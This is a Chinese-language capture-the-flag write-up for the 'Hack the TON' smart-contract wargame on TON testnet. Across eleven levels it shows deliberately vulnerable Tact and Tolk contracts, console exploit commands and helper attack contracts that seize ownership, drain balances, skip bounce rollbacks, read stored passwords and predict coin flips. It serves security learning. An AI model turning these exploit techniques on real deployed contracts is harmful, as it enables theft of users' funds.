跳转至

Hack the TON

0. INTRODUCTION

  • 可以在控制台中使用 help() 查看可以使用的程序功能

    (index) description
    fromNano(nano) "convert nano units to ton"
    toNano(ton) "convert ton units to nano"
    contract "current level contract instance (if created)"
    player "current player (if wallet connected)"
    Address.parse(addressString) "parse Address from string"
    tonConnectUI.sendTransaction(tx, options) "send custom transaction to arbitrary address"
    beginCell() "start building a cell"
  • 在连接钱包后,点击 GET NEW INSTANCE 获取一个题目实例

  • 与 Ethernaut 类似,可以在控制台使用 contract 获取信息或与合约交互

    > await contract.getInfo() 
    You will find what you need in getInfo1().
    > await contract.getInfo1() 
    Try getInfo2(), but with 'hello' as a parameter. 
    > await contract.getInfo2("hello") 
    Try getInfoNum() to know the number of the next info method to call. 
    > await contract.getInfoNum() 
    42n
    > await contract.getInfo42() 
    Send message Authenticate if you know the password.
    > await contract.getPassword() 
    Tact and FunC for the win!
    > await contract.send(player, {value: toNano(0.05)}, {$$type: "Authenticate", password: "Tact and FunC for the win!"});
    
  • 完成后点击 CHECK SOLUTION 验证

References

1. DEPOSIT

You will beat this level if:

  • Claim ownership of the contract

  • Reduce its balance to 0

DepositLevel
import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

contract DepositLevel with Ownable, Deployable {
    owner: Address;
    player: Address;
    nonce: Int;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;
    }

    receive() {
        require(context().value >= ton("0.01"), "Not enough TON.");
        self.owner = sender();
    }

    receive("withdraw") {
        self.requireOwner();
        send(SendParameters{
            to: sender(),
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        });
    }

    receive("check") {
        let ctx: Context = context();
        send(SendParameters{
            to: ctx.sender,
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "deposit",
                completed: (myBalance() - ctx.value) == 0 && self.owner == self.player,
            }.toCell()
        });
    }

    get fun balance(): String {
        return myBalance().toCoinsString();
    }
}
  • 只有所有者才能取出合约持有的 TON,首先向合约发送 TON 以成为所有者

    1
    2
    3
    > await player.send({to: contract.address.toString(), value: toNano("0.05")});
    // or
    > await contract.send(player, {value: toNano(0.05)}, null);
    
  • 使用 withdraw 取出合约中所有的资金

    > await contract.send(player, {value: toNano(0.05)}, "withdraw"); 
    

2. SCANNER

Claim ownership of the contract below to complete this level.

ScannerLevel
import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

contract Child with Deployable {
    parent: Address;
    nonce: Int;

    init(parent: Address, nonce: Int) {
        self.parent = parent;
        self.nonce = nonce;
    }
}

message SendChildAddress {
    address: Address;
}

contract ScannerLevel with Ownable, Deployable {
    owner: Address;
    player: Address;
    nonce: Int;
    child: Address;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Child(myAddress(), nonce);
        self.child = contractAddress(level_init);
        send(SendParameters{
            to: self.child,
            value: ton("0.01"),
            mode: SendPayGasSeparately,
            bounce: false,
            data: level_init.data,
            code: level_init.code,
            body: Deploy {
                queryId: 0,
            }.toCell()
        });
    }

    receive(msg: SendChildAddress) {
        require(msg.address == self.child, "Wrong child address.");
        self.owner = sender();
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "scanner",
                completed: self.owner == self.player
            }.toCell()
        });
    }
}
  • 要成为合约的所有者需要知道 Child 合约的地址,可以通过 Tonviewer 查看 ScannerLevel 部署的交易来获知
  • 发送 Child 合约地址

    > await contract.send(player, {value: toNano("0.05")}, {$$type: "SendChildAddress", address: Address.parse("kQDjT2mQ8ePcmYsBMQDi4JJHPzZNU1nqe_KbqIOwUKZaCX2Z")});
    

3. BOUNCE

Claim ownership of the contract below to complete this level.

BounceLevel
import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

message Start {
    time: Int as uint32;
}

message Finish {
    time: Int as uint32;
}

contract Timer with Deployable {
    parent: Address;
    nonce: Int;
    startTime: Int? as uint32;

    init(parent: Address, nonce: Int) {
        self.parent = parent;
        self.nonce = nonce;
    }

    receive(msg: Start) {
        self.startTime = msg.time;
    }

    receive(msg: Finish) {
        if (self.startTime == null) {
            return;
        }

        require(msg.time - self.startTime!! < 180, "Too late.");
        self.startTime = null;
    }
}

contract BounceLevel with Ownable, Deployable {
    owner: Address;
    player: Address;
    nonce: Int;
    timer: Address;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Timer(myAddress(), nonce);
        self.timer = contractAddress(level_init);
        send(SendParameters{
            to: self.timer,
            value: ton("0.01"),
            bounce: false,
            data: level_init.data,
            code: level_init.code
        });
    }

    receive("start") {
        send(SendParameters{
            to: self.timer,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: Start{
                time: now()
            }.toCell()
        });
    }

    receive("finish") {
        send(SendParameters{
            to: self.timer,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: Finish{
                time: now()
            }.toCell()
        });
    }

    bounced(_: Slice) {
        self.owner = self.player;
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "bounce",
                completed: self.owner == self.player
            }.toCell()
        });
    }
}
  • 合约 BounceLevel 收到弹回的消息后就会将玩家设为合约所有者
  • 只需要在发送完 start 的三分钟后向 BounceLevel 发送 finish,让合约 Timer 抛出错误弹回消息即可

    • 或直接向 Timer 发送 start 设置自定义开始时间
    1
    2
    3
    4
    5
    6
    > await contract.send(player, {value: toNano('0.05')}, "start");
    // or
    > await player.send({to: Address.parse("kQCmY8KG3F2y-2Unxl2jMtJMIUjT9fWhqXWM37hPHWbnPIjp"), value: toNano("0.01"), body: beginCell().storeUint(1141136470, 32).storeUint(0, 32).endCell()});
    // opcode: sha256("Start{time:uint32}") >> 224
    
    > await contract.send(player, {value: toNano('0.05')}, "finish"); 
    

References

4. INTRUDER

Claim ownership of the contract below to complete this level.

IntruderLevel
import "@stdlib/deploy";
import "./messages";

message(0x6e38a063) ChangeLevelOwner {
    newOwner: Address;
}

message(0x6f13c225) ChangeClientOwner {
    newOwner: Address;
}

message(0xa4e501ef) ChangeOwnerInternal {
    newOwner: Address;
}

contract Manager with Deployable {
    client: Address;
    nonce: Int;

    init(client: Address, nonce: Int) {
        self.client = client;
        self.nonce = nonce;
    }

    receive(msg: ChangeClientOwner) {
        send(SendParameters{
            to: self.client,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: ChangeOwnerInternal{
                newOwner: msg.newOwner
            }.toCell()
        });
    }
}

contract IntruderLevel with Deployable {
    owner: Address;
    player: Address;
    nonce: Int;
    manager: Address;

    init(player: Address, nonce: Int) {
        self.owner = sender();
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Manager(myAddress(), nonce);
        self.manager = contractAddress(level_init);
        send(SendParameters{
            to: self.manager,
            value: ton("0.01"),
            bounce: false,
            data: level_init.data,
            code: level_init.code
        });
    }

    receive(msg: ChangeLevelOwner) {
        require(sender() == self.owner, "Wrong sender.");
        send(SendParameters{
            to: self.manager,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: ChangeClientOwner{
                newOwner: msg.newOwner
            }.toCell()
        });
    }

    receive(msg: ChangeOwnerInternal) {
        require(sender() == self.manager, "Wrong sender.");
        self.owner = msg.newOwner;
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "intruder",
                completed: self.owner == self.player
            }.toCell()
        });
    }

    get fun owner(): Address {
        return self.owner;
    }
}
  • 只有 manager 能设置合约的所有者,而初始 managerManager 合约
  • 合约 Manager 不检查 ChangeClientOwner 消息的发送者

    1
    2
    3
    message(0x6f13c225) ChangeClientOwner {
        newOwner: Address;
    }
    
  • 可以向 Manager 合约发送 ChangeClientOwner 消息来设置 IntruderLevel 合约的所有者

    > await player.send({to: Address.parse("kQCi5Sne638i1fdoGMK7cnKPVuQWgyGO4N4LxneLonWwvgZ_"), value: toNano("0.01"), body: beginCell().storeUint(0x6f13c225, 32).storeAddress(player.address).endCell()});
    

5. PARTIAL

The goal of this level is to hack the vault contract below.

You are given 100 tokens to start with and you will beat the level if you manage to acquire 1000 or more.

PartialLevel
import "@stdlib/ownable";
import "@stdlib/deploy";
import "./messages";

message DepositToVault {
    amount: Int as coins;
}

message WithdrawFromVault {
    amount: Int as coins;
}

message DepositInternal {
    amount: Int as coins;
}

message WithdrawInternal {
    amount: Int as coins;
}

contract Vault with Ownable, Deployable {
    owner: Address;
    nonce: Int;
    balance: Int as coins = 500;

    init(owner: Address, nonce: Int) {
        self.owner = owner;
        self.nonce = nonce;
    }

    receive(msg: DepositInternal) {
        self.requireOwner();
        self.balance += msg.amount;
    }

    receive(msg: WithdrawInternal) {
        self.requireOwner();
        require(self.balance >= msg.amount, "Not enough balance.");
        self.balance -= msg.amount;
    }

    get fun balance(): Int {
        return self.balance;
    }
}

contract PartialLevel with Deployable {
    player: Address;
    nonce: Int;
    vault: Address;
    balance: Int as coins = 100;

    init(player: Address, nonce: Int) {
        self.player = player;
        self.nonce = nonce;

        let level_init: StateInit = initOf Vault(myAddress(), nonce);
        self.vault = contractAddress(level_init);
        send(SendParameters{
            to: self.vault,
            value: ton("0.01"),
            bounce: false,
            data: level_init.data,
            code: level_init.code
        });
    }

    receive(msg: DepositToVault) {
        require(self.balance >= msg.amount, "Not enough balance.");
        self.balance -= msg.amount;
        send(SendParameters{
            to: self.vault,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: DepositInternal{
                amount: msg.amount
            }.toCell()
        });
    }

    receive(msg: WithdrawFromVault) {
        self.balance += msg.amount;
        send(SendParameters{
            to: self.vault,
            value: 0,
            bounce: true,
            mode: SendRemainingValue,
            body: WithdrawInternal{
                amount: msg.amount
            }.toCell()
        });
    }

    bounced(msg: WithdrawInternal) {
        self.balance -= msg.amount;
    }

    receive("check") {
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "partial",
                completed: self.balance >= 1000
            }.toCell()
        });
    }

    get fun balance(): Int {
        return self.balance;
    }
}
  • 通过 WithdrawFromVault 可以增加合约的余额,但若 WithdrawInternal 执行失败,将回弹消息并回滚余额

    contract Vault with Ownable, Deployable {
        // [...]
    
        receive(msg: WithdrawInternal) {
            self.requireOwner();
            require(self.balance >= msg.amount, "Not enough balance.");
            self.balance -= msg.amount;
        }
    
        // [...]
    }
    
    contract PartialLevel with Deployable {
        // [...]
    
        receive(msg: WithdrawFromVault) {
            self.balance += msg.amount;
            send(SendParameters{
                to: self.vault,
                value: 0,
                bounce: true,
                mode: SendRemainingValue,
                body: WithdrawInternal{
                    amount: msg.amount
                }.toCell()
            });
        }
    
        bounced(msg: WithdrawInternal) {
            self.balance -= msg.amount;
        }
    
        // [...]
    }
    
  • 在 TON 中, 如果支付的费用不足以完成执行,则不会创建回弹消息。因此只需要支付仅供 WithdrawFromVault 执行的费用,使余额增加即可

    > await contract.send(player, {value: toNano("0.005")}, {$$type: "WithdrawFromVault", amount: 900});
    // https://testnet.tonviewer.com/transaction/407df39b95d852f44d1b1a9b8176bc68a44701bc2afabd7b069110faba553a5f
    

References

6. PEEK

Unlock the contract below to complete this level.

PeekLevel
import "@stdlib/deploy";
import "../messages";
message Unlock {
    password: Int as uint32;
}

contract PeekLevel with Deployable {
    player: Address;
    nonce: Int;
    password: Int as uint32;
    locked: Bool = true;
    init(player: Address, nonce: Int, password: Int){
        self.player = player;
        self.nonce = nonce;
        self.password = password;
    }

    receive(msg: Unlock){
        require(msg.password == self.password, "Wrong password.");
        self.locked = false;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{name: "peek", completed: !self.locked}.toCell()
        }
        );
    }

    get fun locked(): Bool {
        return self.locked;
    }
}
  • 提供正确的密码即可解锁,需要解析初始化消息
  • 部署 Tact 编写的合约,函数 init() 的参数包含在 init data 中,并将在部署附带的第一次合约调用中根据 init data 更新存储
  • 使用 pytoniq-core 解析初始数据

    • 尽管可以使用较小的 Int 表示形式来减少存储开销,但 TVM 仅对 257 位整型进行操作。因此,init data 中的整型参数均为 257 位有符号整数
    from pytoniq_core import Cell, Slice
    
    init = Cell.one_from_boc('b5ee9c720102120100034600020134040101c340007a7155b50ef485eb69331e4e6a963457a71a0d34a960e74e38724741ddb27b00000000000000000000000000000000000000000000000000000000000000005800000000000000000000000000000000000000000000000000000000abad86ee020101c0030105a1a75f040114ff00f4a413f4bcf2c80b05020162060702ead001d0d3030171b0a301fa400120d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e088545053036f04f86102f862db3c5513db3cf2e082c8f84301cc7f01ca005530504320d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e088cf16810101cf0012cb1fca00c9ed540f080201200d0e02eeeda2edfb0192307fe07021d749c21f953020d70b1fde2082102194da8eba8e1c30d31f0182102194da8ebaf2e081d31f0131816dde3222baf2f4707fe0208210946a98b6ba8ea830d31f018210946a98b6baf2e081d33f0131c8018210aff90f5758cb1fcb3fc9f84201706ddb3c7fe0c0009130e30d70090a013a6d6d226eb3995b206ef2d0806f22019132e2102470030480425023db3c0b01aef90182f0b92ab1b3504a092e6e10b90beb85a7ceb990452ba73c09375bf2dd2a56cbcf7fba8eaff842708040708b47065656b825c000c85982106df37b4d5003cb1fc858cf16c901ccca00c91443306d6ddb3c7fdb31e00b01cac87101ca01500701ca007001ca02500520d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e088cf165003fa027001ca68236eb3917f93246eb3e2973333017001ca00e30d216eb39c7f01ca0001206ef2d08001cc95317001ca00e2c901fb000c00987f01ca00c87001ca007001ca00246eb39d7f01ca0004206ef2d0805004cc9634037001ca00e2246eb39d7f01ca0004206ef2d0805004cc9634037001ca00e27001ca00027f01ca0002c958cc0211becdbed9e6d9e3620c0f100011be15f76a268690000c01eced44d0d401f863d200018e2dfa400120d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e08801810101d700d31fd20055306c14e0f828d70b0a8309baf2e089fa400120d74981010bbaf2e08820d70b0a208104ffbaf2d0898309baf2e08801810101d700810101d700552003d158db3c1100022000027f')
    init_slice = init.begin_parse()
    init_slice.load_ref()   # skip init code
    init_data = init_slice.load_ref()
    data_slice = init_data.begin_parse()
    data_slice.load_ref()   # skip tact context system
    data_slice.load_int(1)  # skip init status
    data_slice.load_address()   # player
    data_slice.load_int(257)    # nonce
    print(data_slice.load_int(257)) # password
    
  • 发送解锁消息

    > await contract.send(player, {value: toNano("0.005")}, {$$type: "Unlock", password: 720069051}); 
    

References

7. SWAP

You will beat the level if you manage to acquire tokens amount equivalent to 1000 TON or more.

SwapLevel
import "@stdlib/ownable";
import "@stdlib/deploy";
import "../messages";
message SwapTonToTokens {
    amount: Int as coins;
}
message RequestBalance {
    sender: Address;
}
message ResponseBalance {
    sender: Address;
    balance: Int as coins;
}

contract Token with Ownable, Deployable {
    owner: Address;
    nonce: Int;
    balance: Int as coins = 0;
    init(owner: Address, nonce: Int){
        self.owner = owner;
        self.nonce = nonce;
    }

    receive(msg: SwapTonToTokens){
        self.requireOwner();
        self.balance += msg.amount;
        send(SendParameters{
            to: sender(),
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: "send ton".asComment()
        }
        );
    }

    receive("swap tokens to ton"){
        self.requireOwner();
        self.balance = 0;
        send(SendParameters{
            to: sender(),
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        }
        );
    }

    receive(msg: RequestBalance){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: ResponseBalance{
            sender: msg.sender,
            balance: self.balance
            }.toCell()
        }
        );
    }

    get fun balance(): Int {
        return self.balance;
    }
}

contract SwapLevel with Deployable {
    player: Address;
    nonce: Int;
    token: Address;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
        let token_init: StateInit = initOf Token(myAddress(), nonce);
        self.token = contractAddress(token_init);
        send(SendParameters{
            to: self.token,
            value: ton("0.01"),
            bounce: false,
            data: token_init.data,
            code: token_init.code
        }
        );
    }

    receive(){}

    receive("swap ton to tokens"){
        send(SendParameters{
            to: self.token,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: SwapTonToTokens{amount: myBalance() - context().value}.toCell()
        });
    }

    receive("swap tokens to ton"){
        send(SendParameters{
            to: self.token,
            value: 0,
            bounce: false,
            mode: SendRemainingValue,
            body: "swap tokens to ton".asComment()
        }
        );
    }

    receive("send ton"){
        require(sender() == self.token, "Wrong sender.");
        send(SendParameters{
            to: self.token,
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        }
        );
    }

    receive("withdraw"){
        send(SendParameters{
            to: self.player,
            bounce: true,
            value: 0,
            mode: SendRemainingBalance + SendIgnoreErrors
        }
        );
    }

    receive("check"){
        send(SendParameters{
            to: self.token,
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: RequestBalance{sender: sender()}.toCell()
        }
        );
    }

    receive(msg: ResponseBalance){
        require(sender() == self.token, "Wrong sender.");
        send(SendParameters{
            to: msg.sender,
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
                name: "swap",
                completed: msg.balance >= ton("1000")
            }.toCell()
        }
        );
    }
}
  • 操作 swap ton to tokens 每次能使 Tokenbalance 增加 myBalance() - context().value,即合约 SwapLevel 持有的 TON 越多,每次的增加量越大。向合约 SwapLevel 发送 TON 增加其余额以减少操作的次数

    await contract.send(player, {value: toNano("4")}, null);
    
  • 合约 Token 执行操作 SwapTonToTokens 时,会向合约 SwapLevel 发送 send ton 消息,使其将所持有的全部 TON 发送给合约 Token。需要控制 swap ton to tokens 消息附带的 TON,使合约 SwapLevel 无法将余额发送给合约 Token。经测试,可以使用 0.008 TON

    > await contract.send(player, {value: toNano("0.008")}, "swap ton to tokens");
    
  • 使用 TON Web IDE 部署辅助合约,批量发送消息

    • 全局设置中可以修改消息附带的 TON 数量
    import "@stdlib/deploy";
    
    message Swap {
        cnt: Int as uint32;
        target: Address;
    }
    
    contract MultiMessageSender with Deployable {
        // example args: {cnt: 1000, value: 1 TON}
        receive(msg: Swap) {
            repeat(msg.cnt) {
                send(SendParameters{
                    to: msg.target,
                    value: ton("0.008"),
                    mode: SendDefaultMode + SendPayGasSeparately,
                    body: "swap ton to tokens".asComment()
                });
            }
        }
    }
    
  • 检查结束后取回合约中的 TON

    > await contract.send(player, {value: toNano("0.008")}, "swap tokens to ton");
    > await contract.send(player, {value: toNano("0.005")}, "withdraw");
    

8. COIN

To complete the level, guess 10 times in a row which side the coin will land on.

CoinLevel
import "@stdlib/deploy";
import "../messages";
message Flip {
    side: Bool;
}

contract Contract {
    nonce: Int;
    init(nonce: Int){
        self.nonce = nonce;
    }
}

contract CoinLevel with Deployable {
    player: Address;
    nonce: Int;
    consecutiveWins: Int = 0;
    flipsCount: Int = 0;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
    }

    receive(msg: Flip){
        let init: StateInit = initOf Contract(self.flipsCount);
        let contractAddress: Address = contractAddress(init);
        let side = contractAddress.asSlice().asCell().hash() % 2 == 0;
        self.consecutiveWins = msg.side == side ? self.consecutiveWins + 1 : 0;
        self.flipsCount += 1;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
            name: "coin",
            completed: self.consecutiveWins >= 10
            }.toCell()
        }
        );
    }

    get fun consecutiveWins(): Int {
        return self.consecutiveWins;
    }

    get fun flipsCount(): Int {
        return self.flipsCount;
    }
}
  • 需要连续猜对 10 次,借助辅助合约预测结果并发送消息

    • 题目合约使用的 Tact 编译器版本为 1.4.4。不同编译器版本可能产生不同的编译结果,最好使用相同版本的编译器,保证 initOf 在辅助合约中的计算结果与实例合约相同
    import "@stdlib/deploy";
    
    message Flip {
        side: Bool;
    }
    message Guess {
        cnt: Int as uint32;
        start: Int as uint32;
        target: Address;
    }
    
    contract Contract {
        nonce: Int;
        init(nonce: Int){
            self.nonce = nonce;
        }
    }
    
    contract Guesser with Deployable {
    
        receive(msg: Guess) {
            let p: Int = msg.start;
            while(p < msg.start + msg.cnt) {
                let init: StateInit = initOf Contract(p);
                let contractAddress: Address = contractAddress(init);
                let side: Bool = contractAddress.asSlice().asCell().hash() % 2 == 0;
                send(SendParameters{
                    to: msg.target,
                    value: ton("0.01"),
                    mode: SendDefaultMode + SendPayGasSeparately,
                    body: Flip{
                        side: side
                    }.toCell()
                });
                p += 1;
            }
        }
    }
    

9. GATEKEEPER

Unlock the contract below to complete this level.

GatekeeperLevel
import "@stdlib/deploy";
import "../messages";
message Unlock {
    a: Int;
    b: Int;
}

contract GatekeeperLevel with Deployable {
    player: Address;
    nonce: Int;
    locked: Bool = true;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
    }

    receive(msg: Unlock){
        require((sender().asSlice().asCell().hash() ^ ((msg.a << 2) + msg.b)) ==
            myAddress().asSlice().asCell().hash(),
        "Check failed."
        );
        self.locked = false;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
            name: "gatekeeper",
            completed: !self.locked
            }.toCell()
        }
        );
    }

    get fun locked(): Bool {
        return self.locked;
    }
}
  • 解锁需要 sender().asSlice().asCell().hash() ^ ((msg.a << 2) + msg.b) 的值与 myAddress().asSlice().asCell().hash() 相等
  • 获取实例地址的哈希值

    > beginCell().storeAddress(contract.address).endCell().hash().toHex()
    3036979211fd86c13a1113af157f701ea19eafb8e1d1c36d761c5ff41c99bc80
    
  • 由于 ab 没有限制范围,可以直接将 a 设置为 0,b 为发送者地址哈希值与实例地址哈希值异或的结果

    > await contract.send(player, {value: toNano('0.01')}, {$$type: 'Unlock', a: 0n, b: 86130810477776835231294161513457632144148633294017539526014373747458502429745n});
    

10. BRUTE-FORCE

Unlock the contract below to complete this level.

BruteforceLevel
import "@stdlib/deploy";
import "../messages";
message Unlock {
    a: Int;
    b: Int;
    c: Int;
    d: Int;
}

contract BruteforceLevel with Deployable {
    player: Address;
    nonce: Int;
    locked: Bool = true;
    x: Int as uint8 = 0;
    y: Int as uint8 = 0;
    init(player: Address, nonce: Int){
        self.player = player;
        self.nonce = nonce;
    }

    receive(msg: Unlock){
        self.x = msg.a + msg.c;
        self.y = msg.b + msg.d;
        require((self.x + self.y) == 2, "First check failed.");
        require((((pow(msg.a, 25) +
            pow(msg.b, 25)) +
            pow(msg.c, 25)) +
            pow(msg.d, 25)) ==
            1968172103452999492963878188028555943794336458502883276710491621054698698752,
        "Second check failed."
        );
        self.locked = false;
    }

    receive("check"){
        send(SendParameters{
            to: sender(),
            value: 0,
            mode: SendRemainingValue,
            bounce: false,
            body: CheckLevelResult{
            name: "bruteforce",
            completed: !self.locked
            }.toCell()
        }
        );
    }

    get fun locked(): Bool {
        return self.locked;
    }
}
  • 解锁需要提供满足特定条件的四个整数
    • (self.x + self.y) == 2msg.a + msg.b + msg.c + msg.d == 2,说明正负整数的绝对值之差为 2,且 msg.a + msg.cmsg.b + msg.d 的结果在 8 位无符号整型的范围内
    • (((pow(msg.a, 25) + pow(msg.b, 25)) + pow(msg.c, 25)) + pow(msg.d, 25)) 的结果是一个正整数 1968172103452999492963878188028555943794336458502883276710491621054698698752
  • 由此推测出两种可能的情况

    • self.x 为 2,self.y 为 0(反之亦同)
    • self.xself.y 同为 1
    t = 1968172103452999492963878188028555943794336458502883276710491621054698698752
    for a in range(2, 3000):
        c = - (a - 2)
        r = pow(a, 25) + pow(c, 25)
        if r == t:
            print(a, c)
            break
        if r > t:
            break
    for a in range(1, 3000):
        for b in range(1, 3000):
            c, d = - (a - 1), - (b - 1)
            r = pow(a, 25) + pow(b, 25) + pow(c, 25) + pow(d, 25)
            if r == t:
                print(a, b, c, d)
                break
        else:
            continue
        break
    
  • 发送结果到实例合约

    > await contract.send(player, {value: toNano('0.01')}, {$$type: 'Unlock', a: 850, b: 1200, c: -849, d: -1199});
    

11. TOLK

Unlock the contract below to complete this level.

Tolk
const OP_UNLOCK = "op::unlock"c; // create an opcode from string using the "c" prefix, this results in 0xf0fd50bb opcode in this case

// storage variables

global ctxPlayer: slice;
global ctxNonce: int;
global ctxLocked: bool;

// loadData populates storage variables using stored data
fun loadData() {
    var ds = getContractData().beginParse();

    ctxPlayer = ds.loadAddress();
    ctxNonce = ds.loadUint(32);
    ctxLocked = ds.loadBool();

    ds.assertEndOfSlice();
}

// saveData stores storage variables as a cell into persistent storage
fun saveData() {
    setContractData(
        beginCell()
            .storeSlice(ctxPlayer)
            .storeUint(ctxNonce, 32)
            .storeBool(ctxLocked)
        .endCell()
    );
}

// onInternalMessage is the main function of the contract and is called when it receives a message from other contracts
fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) {
    if (inMsgBody.isEndOfSlice()) { // ignore all empty messages
        return;
    }

    var cs: slice = inMsgFull.beginParse();
    val flags: int = cs.loadUint(4);
    if (flags & 1) { // ignore all bounced messages
        return;
    }
    val senderAddress: slice = cs.loadAddress();

    loadData(); // here we populate the storage variables

    val op: int = inMsgBody.loadUint(32); // by convention, the first 32 bits of incoming message is the op

    // receive "check" message
    if (isSliceBitsEqual(inMsgBody, "check")) {
        // send CheckLevelResult msg
        val msgBody: cell = beginCell()
            .storeUint(0x6df37b4d, 32)
            .storeRef(beginCell().storeSlice("tolk").endCell())
            .storeBool(!ctxLocked)
        .endCell();
        val msg: builder = beginCell()
            .storeUint(0x18, 6)
            .storeSlice(senderAddress)
            .storeCoins(0)
            .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .storeRef(msgBody);

        // send all the remaining value
        sendRawMessage(msg.endCell(), 64);
        return;
    }

    if (op == OP_UNLOCK) {
        ctxLocked = false;
        saveData();
        return;
    }

    throw 0xffff; // if the message contains an op that is not known to this contract, we throw
}

// get methods are a means to conveniently read contract data using, for example, HTTP APIs
// note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

get locked(): bool {
    loadData();
    return ctxLocked;
}

发送 OP_UNLOCK 对应的操作码即可解锁。

> await contract.send(player, beginCell().storeUint(0xf0fd50bb, 32).endCell(), toNano('0.005'));

最后更新: 2025年3月10日 23:02:13
Contributors: YanhuiJessica

评论